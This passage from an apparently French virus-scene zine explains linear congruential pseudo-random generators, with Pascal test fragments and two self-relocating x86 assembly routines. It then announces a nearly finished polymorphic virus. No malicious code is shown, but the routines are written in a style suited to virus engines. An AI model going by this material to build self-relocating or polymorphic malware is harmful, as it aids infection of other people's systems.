for i:=Start to Start+640 do begin
putpixel(i-Start+1,480-tablo[i-1],0);
putpixel(i-Start,480-tablo[i],15);
end;
if keypressed then begin
closegraph;
halt;
end;
end;
readkey;
end.
--------------------------------CUT HERE-----------------------------
Vous pourrez utilisez ces deux programmes pour tester tous les autres GNPA en changeant simplement la fonction Get_Random.
2> Les GNPA congruentiels linéaires d'ordre 2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ils sont un peu plus puissant que leurs camarades d'ordre 1. Les programmes tests devraient vous en convaincre. Ils obéissent à une récurrence linéaire d'ordre 2 congruentielle du type :
X(n+2) = (A1 * X(n+1) + A2 * X(n) + C) mod M
où A1, A2, C et M sont toujours bien choisis. J'ai essayé la combinaison A1=13, A2=111, C=14449 et M=43691 qui donnent de très bons résultats. En essayant la fonction Random du Pascal, on observe sensiblement la même courbe de fréquence. Je n'ai pas fait de recherches de ce côté, je ne sais pas comment est construit le Random du Pascal mais je parierais sur ce type de générateur.
En revanche, si on prend A2=113 à la place de 111, c'est très mauvais... Il y a 5 "couches de fréquences" qui apparaissent très nettement. C'est typiquement ce que l'on ne veut pas. Comme quoi les nombres premiers ne donnent pas toujours forcément les meilleurs générateurs.
Pour tester ces générateurs, il faut modifier Get_Random et l'affectation à Rand_Seed comme ça :
--------------------------------CUT HERE-----------------------------
(...) { Attention! il y a des trucs à changer aussi avant mais je vous le laisse. }
function Get_Random(number1,number2:longint):longint;
begin
Get_Random:=(a1*number1 + a2*number2 + c) mod m;
end;
(...)
Temp:=Rand_Seed1;
Rand_Seed1:=Get_Random(Rand_Seed1,Rand_Seed2);
Rand_Seed2:=Temp;
(...)
--------------------------------CUT HERE-----------------------------
Pour l'implémentation en assembleur, allez voir à la fin de cet article.
3> D'autres GNPA
~~~~~~~~~~~~~~~~~
Imaginons que vous ayez besoin dans un de vos programmes d'un nombre aléatoire. Est-il nécessaire de dévelloper un GNPA complet ? Non, bien sûr. Il existe des méthodes faciles pour obtenir un nombre aléaoire. Il est très courant d'utiliser le port 40h par un simple appel "in al,40h". C'est simple, ça prend une ligne. On peut également utiliser le compteur d'horloge dont l'adresse est 0000:046Ch. Bref, il ne faut pas oublier que nous sommes dans un environnement informatique et qu'il faut l'utiliser...
Il existe également d'autres générateurs non linéaires. Ce sont des générateurs de barbares, très difficiles à implémenter en assembleur (et même en Pascal à cause du format de nombres choisis). Je ne détaillerai donc pas ce type de générateur. Je n'ai même pas cherché à savoir s'ils étaient bons ou pas. Voilà quelques suggestions tout à fait personnelles que vous pouvez vous amusez à explorer :
X(n+1) = ((A * X(n) + C)²) mod M
X(n+1) = (sqrt(A * X(n) + C)) mod M
III) Les codes de deux GNPA
============================
1> un générateur congruentiel linéaire d'ordre 1 : LCG32
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ce premier générateur n'est pas de moi. Je l'ai trouvé dans un bouquin mais il marche. Il s'appelle LCG32 car il utilise des registres 32 bits pour plus de facilité. Il peut s'utiliser avec tous les types de programmes, il "reloge" lui même ses variables et ne bouffe aucun registre sauf ax.
On peut appeler deux routines : Random_Seed qui initialise Rand_Seed avec le compteur d'horloge dont l'adresse mémoire est 0000:046C, et Get_Random qui renvoie un nombre aléatoire dans ax.
--------------------------------CUT HERE-----------------------------
;LCG32
;a 32 bit Linear Congruential Pseudo-Random Number Generator
; X(n+1) = (A * X(n) + C) mod M
.model tiny
.code
.386
public RANDOM_SEED
public GET_RANDOM
M dd 134217729
A dd 44739244
C dd 134217727
RAND_SEED dd 0
RANDOM_SEED proc near
push si
push ds
push dx
push cx
push bx
push ax
call RS1
RS1:
pop bx
sub bx,offset RS1
xor ax,ax
mov ds,ax
mov si,46Ch
lodsb
xor edx,edx
mov ecx,M
div ecx
mov cs:[bx][RAND_SEED],edx
pop ax
pop bx
pop cx
pop dx
pop ds
pop si
retn
RANDOM_SEED endp
GET_RANDOM proc near
push bx
push cx
push dx
call GR1
GR1:
pop bx
sub bx,offset GR1
mov eax,[bx][RAND_SEED]
mov ecx,[bx][A]
mul ecx
add eax,[bx][C]
adc edx,0
mov ecx,[bx][M]
div ecx
mov eax,edx
mov [bx][RAND_SEED],eax
pop dx
pop cx
pop bx
retn
GET_RANDOM endp
--------------------------------CUT HERE-----------------------------
2> un générateur congruentiel linéaire d'ordre 2 : Androgynerator
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Celui ci est totalement de moi, je n'ai fait que la routine Get_Random mais il est bien évident qu'on peut rajouter la routine Random_Seed ci-dessus. J'ai utilisé les registres 16 bits classiques. Il est fondé sur une récurrence linéaire d'ordre 2 congruentielle, très efficace. A mon avis, ce générateur fait partie de la crème des GNPA. Son implémentation n'est pas trop différente d'un générateur d'ordre 1.
--------------------------------CUT HERE-----------------------------
;Androgynerator
;an Advanced 16 bits Pseudo Random Number Generator
; X(n+2) = (A1 * X(n+1) + A2 * X(n) + C) mod M
;
;entrée :
; ax=plafond max
;sortie :
; ax=nombre aléatoire compris entre 0 et (plafond max-1)
;
;by Androgyne
;
.model tiny
.code
.386
public GET_RANDOM
M dw 43691
A1 dw 13
A2 dw 111
C dw 14449
RAND_SEED1 dw 1
RAND_SEED2 dw 2
TEMP dw 0
GET_RANDOM proc near
push bp
push bx
push cx
push dx
push ax ;celui là, on se le garde pour plus tard
call GET_ADD
GET_ADD:
pop bp
sub bp,offset GET_ADD ;on calcule le décalage qu'on met dans bp
mov ax,[bp + RAND_SEED1]
mov word ptr [bp + TEMP],ax
mov cx,[bp + A1] ;A1 * RAND_SEED1
mul cx
mov dx,ax ;on met le résultat dans dx
mov ax,[bp + RAND_SEED2]
mov cx,[bp + A2] ;A2 * RAND_SEED2
mul cx
add ax,dx ;on additionne les deux
xor dx,dx
add ax,[bp + C] ;on additionne C
adc dx,0
mov cx,[bp + M] ;et voilà comment on fait un modulo
div cx
mov ax,dx ;on met le résultat dans ax
mov word ptr [bp + RAND_SEED1],ax ;on conserve tous les nouveaux résultats
push ax
mov ax,[bp + TEMP]
mov word ptr [bp + RAND_SEED2],ax
pop ax
pop cx ;c'est le ax qu'on a pushé au début
xor dx,dx
div cx ;on renvoie ax mod (plafond)
mov ax,dx
pop dx
pop cx
pop bx
pop bp
ret ;et voilà... c'était vraiment pas dur!
GET_RANDOM endp
--------------------------------CUT HERE-----------------------------
By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Projet K-os : What's coming next...
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Le projet K-os semble avoir plu. Merci à ceux qui s'y sont intéressés. Cependant, quelques petits problèmes techniques m'ont empêchée de présenter Polymorphic K-os dès ce m4g. Le virus est quasiment fini, il reste quelques trucs chiants à débbugger. J'en suis désolée. Je profiterai de ce temps supplémentaire pour améliorer le moteur de polymophisme. Il faudra patienter...
By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
/\/\/\/\/\/\/\
>>> H4CKK--VIRUS <<<
>>> --REZO-- <<<
>>> ++++++++ <<<
>>> 72 T ( <<<
>>> g4ng <<<
>>> <<<
>>>><<<<